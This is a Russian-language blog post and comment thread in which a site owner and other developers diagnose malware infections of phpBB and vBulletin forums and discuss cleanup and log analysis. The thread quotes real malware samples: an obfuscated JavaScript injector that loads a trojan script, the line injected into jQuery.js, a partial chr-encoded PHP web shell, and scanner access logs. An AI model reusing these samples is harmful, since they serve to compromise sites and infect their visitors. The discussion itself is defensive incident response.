Вирусы на сайте и как с ними бороться

Блог им. BenchMark-kz /
Добрый день, JNet-цы. У меня проблема, а так как тут высокая концентрация разработчиков, прошу о помощи.

Есть два сайта. На обоих сайтах есть форумы. Один PHPBB, другой vBulletin. Форумы установлены в поддиректорию на сервере. Внезапно на основых страницах сайта появляются вирусня, а в каталогах форумов я обнаруживаю тело виря. В случае с PHPBB — где то в части админ панели, в случае с vbulletin — прямо в корне.

Эта штука каким то образом подключается (прописывается, например, в файл бибилотеки JQuery) и посредством js через eval методы вписывает секцию сайта ссыль на другой js, в котором собственно троян HEUR:Trojan.Script.Generic.

Т.е. если в браузере смотреть исходник страницы — все чисто, а если через FireBug, то мы видим эту ссыль.

Куда копать, кто знает? Что это за инъекция и каким образом меняется исходник нормальных/чистых js? Права на директории стоят 655.

30 комментариев

Ph0
Поменять доступ к ssh, ftp. Включить access-логи, для дальнейшего изучения. Обновить движки. Поискать шеллы через maldet, ai-bolit.
BenchMark-kz
Поменять доступ к ssh, ftp. Включить access-логи, для дальнейшего изучения. Обновить движки. Поискать шеллы через maldet, ai-bolit.
Пароли к FTP поменялись, доступа к SSH нет, так как это shared хостинг. Насчет ai-bolit и maldet спасибо.

PS: вирусню то я руками быстро вылечил. А вот как предотвратить)
ruby_developer
Уязвимости в таких популярных движках можно найти в гугле.
1. Найти «дыры».
2. Исправить.
3. Найти шеллы, удалить.
Если берете где-то хостинг, то возможно и через другие сайты подсовывают трояны.
BenchMark-kz
А дыры в чем искать? В форумных движках PHPBB? В конфигурации сервера(что невозможно, так как shared)?.. Да, на том сервере, где хостится мой сайт, есть еще куча сайтов, наверное порядка 20-30.

Я так понимаю, это XSS уязвимость?
ruby_developer
Да, конечно в движках, если ничего другого нету.
Для начала бы поискали причины в логах хостинг аккаунта, как писал Ph0.
Я так понимаю, это XSS уязвимость?
SQL injection.
BenchMark-kz
Логи два часа с копейками назад запросил логи у хостинговой компании.
SQL injection.
SQL injection? вряд ли. Давайте расскажу больше информации.

Так, например, у меня в директории //www/имя_сайта/forum/adm/style/ появился файл с именем planner.js, который содержал следующий код:

eval(function(p,a,c,k,e,d){e=function©{return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e©+'\\b','g'),k[c])}}return p}('b f(5){8(3.e&&3.d){6 g=3.d(\'h\')[0];6 4=3.e(\'j\');4.7(\'l\',\'i/k\');4.7(\'5\',5);g.w(4)}}b a(){6 2=c.m.t();8((2.9("u")==-1&&2.9("v")!=-1)&&c.s()){f("r://n.o.2/p.q")}}a();',33,33,'||ua|document|script_tag|src|var|setAttribute|if|indexOf|includeCounter|function|navigator|getElementsByTagName|createElement|includeJavascript|

Внимание!!! этот код вредоносен)))


Собственно, именно этот код и генерирует следующее в head-секции html страницы при открытии браузером. Сам файл шаблона чист:

<script type="text/javascript" src="ссыль_на_троянца"></script>


Начал искать по серверу, откуда вызывается файл и обнаружил, что мой файл JQuery.js был модифицирован, и в нем имелась дописка
;document.write("<scr"+«ipt src='/forum/adm/style/planner.js'><»+"/script>");
Что-то уж больно круто для SQL инъекции) Все это дело я отследить смог при помощи Firebug
Ph0
SQL-инъекция немного немного не в ту степь. К примеру, с ее помощью могли выполнить sql запрос, выдергивающий хеш пароля из БД, с вытекающими последствиями. Выдвину предположение что Ваш сайт был заражен также как и миллионы других сайтов: найдена уязвимость, позволяющая создать|залить файл произвольного содержания (шел) и выполнить его. Далее залили|создали обфусцированный js и добавили нужную запись в JQuery.js Уязвимости могли быть как в движках, так и в разничных модулях к ним. Движки уже обновили? 555 на папки с картинками многовато. Можете побаловаться с инструментами для пентестинга, но achtung(!) — они могут создать излишнюю нагрузку на сервер, что может не понравиться хостеру. Если думаете что зараза пришла от соседей, то велком на свою VPS ;)
BenchMark-kz
Спасибо за разборчивый ответ. В обоих случаях вирусованное файло появлялось в директориях форумов, хоть и разных. Значит ли это, что взлом проходил через них, тобишь через форумы?

У самого сайта «движок» другой, свой (на CodeIgniter написан), пароли там по своим алгоритмам хэшируются — «соль» у каждого хэша своя, а расшифровка хэша дает неполный пароль. Сессии тоже шифруются. А вот хэши популярных форумных движков разобрать легче — потому что открытый исходный код и все такое.

PHPBB предпоследней версии, о состоянии VBulletin пока не могу ничего сказать.

Спасибо за ответ, навеяло на кое какие мысли.

PS: произошло второе заражение. Во второй раз я не смог удалить вредоносный js по FTP — выдало ошибку «недостаточно прав», что удивило и что странно. Пришлось его оставлять там где он есть, выпиливая его опять из библиотеки jquery :-) Хостинговая компания пояснила, что они блокируют «плохие файлы» автоматом. Запросил логи и по второму файлу. откуда он взялся и кто его создал.
Ph0
А что будет, когда на jquery будет ошибка «недостаточно прав»? =)
В обоих случаях вирусованное файло появлялось в директориях форумов, хоть и разных. Значит ли это, что взлом проходил через них, тобишь через форумы?
Вероятность этого большая.
Не в курсе как обстоят дела с инструментами отслеживания изменений файлов для шаредов, но, думаю, Вам стоит обзавестись такими.

Логи по файлу покажут что файл «появился» из ниоткуда. У него будет время создания такое же как и у соседних файлов в этой папке. Интересно было бы для себя узнать у хостера про «блокируют «плохие файлы» автоматом.»
BenchMark-kz
На все файлы и соответствующие папки я урезал с 655 до 555, но пока больше идей нет
twost
Классно тут гадают на кофейной гуще, XSS или SQL))

Установите все доступные официальные патчи на движки, смените пароли, изучите логи, проведите аудит кода, смените хостера.
BenchMark-kz
Классно тут гадают на кофейной гуще, XSS или SQL))
Не совсем разделяю подкол с кофейной гущей, так как прежде чем устранить уязвимость, нужно определить тип этой уязвимости.
twost
Не было никаких вводных данных, чтобы тут могли определить тип уязвимости, через которую поимели форум.
BenchMark-kz
Люблю, когда диалог переходит в конструктивное русло.

Какие вводные данные нужны?)
twost
— Версии всего, к чему есть доступ (ОСь на сервере, версии ПО, версии движков и плагинов).
— Логи веб-сервера и фтп как минимум за неделю до взлома
— выхлоп поиска по потенциально опасным функциям php (всякие system, eval и т.п.)
— Список файлов, которые были изменены за последнюю неделю
— Владелец и права зловредных файлов

ну, и т.п.

И то не факт, что по этим данным можно определить.
Но, с ними шансов больше, чем пальцем в небо)
BenchMark-kz
В общем, как получил логи, со всем разобрался. Это был XSS, все дыры вроде как закрыл. Атаки длились три дня, бесконечно находили новые и новые и очень быстро. Буквально снесешь, закроешь -через пол часа опять. Сегодня весь день тишина, ура. :-)
twost
Выложите пример, интересно же.
и XSS были пассивные или активные?
BenchMark-kz
Я так понял, активные. Нашел три шелла (с eval), код не сохранил, снес. Но я думаю, надо будет еще поискать внимательнее. По крайней мере сам «движок» сайта от них однозначно чист. Изначальные пост запросы поступали на шеллы в десятичном коде (ascii), из за чего не срабатывали стр_реплейс, спешл_чарс, после чего при помощи функции chr() преобразовывались в на выходе.
twost
Еще интереснее)
Т.е. через XSS, которую Вы нашли, хакеры поимели Вашу админскую учетку, и залили шелл?
Пример XSS можете написать? И в каком движке он был?
Может там у Вас какой-то зеродей, а вы молчите))
Ph0
А можно пригласить в студию кусок логов?
twost
Плюсую, очень познавательно было бы.
BenchMark-kz
Поломали через сессии PHPBB. Вот кусок кода от шела (таки сохранил):


$auth_pass='3705ef158b8076039dd9160d52552d2b';


echo (
preg_replace("/.*/".'e',chr(101).chr(118).chr(97).chr(108).chr(40).chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39)."7X1re9pG0/Dn5lesVVDMh0aT03yCmLx0rJgOSlKUcO/8rU+jbDMa+yWI0pkKAMLm+uXRYve08vS5fh08tG5WlhzeQxZTpkY9/pyPmUeqbB4jFIlLssHuu3w9ubTv7Z14zpk7TXKfBEC2lxJbmen1IoWkKf6NgH474vX1rJYfABJvS62Ba+0AsDrYM48wCFMd7/Ag==\x27\x29\x29\x29\x3b",".")


Выражение прегреплейс сокращено раз в 15 ^_^. Я ради интереса выполнил это на локалхосте, появляется форма только с паролем и с кнопкой войти). Куда дальше ведет, по понятным причинам не выяснил- локалхост это локалхост, и не факт что ее надо открывать непосредственно у меня на сервере.

По поводу логов — поищу еще. Сами понимаете, что это труд) На сайт ходит под 1000 человек в сутки, а количество хитов под 4000 :-)
Ph0
А куда может вести шелл? Дает необходимый, для дальнейших действий, функционал злоумышленнику. Вот и вся его задача.
BenchMark-kz
Ага, я кстати вчера пытался на двух видеокартах одновременно взломать брутфорсом хэш переменной $auth_pass — любопытство, пароль длиной больше 8 символов, Radeon ломал бы 9 символов 11 часов, geforce 18 часов). Подумал, что фиг с ним железо мучать.
Ph0
unphp.net/ тут попробуйте деобфусцировать шелл и посмотреть не посолен ли хеш. А дальше можно пробежаться по радужным таблицам.
BenchMark-kz
Собственно вот часть брутфорса из логов:
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:13 +0600] GET /\xE6\xB3\xA8\xE6\x84\x8F\xE4\xBA\x8B\xE9\xA1\xB9-\xE5\xBF\x85\xE7\x9C\x8B.txt HTTP/1.1 "301" 295 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:13 +0600] GET /admin/template/article_more/config.htm HTTP/1.1 "301" 274 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:13 +0600] GET /special HTTP/1.1 "301" 243 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:13 +0600] GET /forum/data/config.js HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:13 +0600] GET /forum/licence.txt HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/admin/list.html HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/fckeditor/fckeditor.js HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/a_d/install/data.sql HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/templates/default/images/style_css_1.css HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/%e6%b3%a8%e6%84%8f%e4%ba%8b%e9%a1%b9-%e5%bf%85%e7%9c%8b.txt HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/admin/template/article_more/config.htm HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/special HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /data/js/config.js HTTP/1.1 "301" 253 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /template/default/styles.css HTTP/1.1 "301" 263 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /FCK/editor/js/fckeditorcode_ie.js HTTP/1.1 "301" 269 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /hack/gather/template/edit_title.htm HTTP/1.1 "301" 271 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /templates/default/info.txt HTTP/1.1 "301" 262 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /data/admin/ver.txt HTTP/1.1 "301" 254 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /admin/javascript/typecho.js HTTP/1.1 "301" 263 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /member/template/homepage.htm HTTP/1.1 "301" 264 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/data/js/config.js HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:14 +0600] GET /forum/template/default/styles.css HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:15 +0600] GET /forum/FCK/editor/js/fckeditorcode_ie.js HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:15 +0600] GET /forum/admin/javascript/typecho.js HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - forum.имя_сайта.kz - [02/Nov/2013:15:03:15 +0600] GET /admin/static/css/style.css HTTP/1.1 "301" 262 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:15 +0600] GET /forum/member/template/homepage.htm HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:15 +0600] GET /forum/hack/gather/template/edit_title.htm HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:15 +0600] GET /forum/templates/default/info.txt HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"
183.60.244.48 - www.имя_сайта.kz - [02/Nov/2013:15:03:15 +0600] GET /forum/data/admin/ver.txt HTTP/1.1 "404" 539 "http://www.baidu.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" "-"


примеров реально много, все не привести) Самая вкуснота в первой строчке.
Кстати, это привет из Гуанчжоу)
BenchMark-kz
Как то так искали дыры. :-) той структуры файлов и папок, по которым идет запрос GET у меня на сайте нет. Просто брутфорсом перебирали вслепую.

надо кстати попросить хостинговую компанию заблокировать этот айпишник, он плохой ) www.reputationauthority.org/lookup.php?ip=183.60.244.48
Ph0
Тогда блокировать всех, кому 404 показали. Чего уж там… =)
twost
Всё равно не понял, почему Вы решили, что поломали через XSS?

Можете показать логи, по которым Вы это определили?
twost
Вот и всё)

Расписали на 100500 страниц, и всё затухло. Логического окончания в топике нет, как обычно и бывает.
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.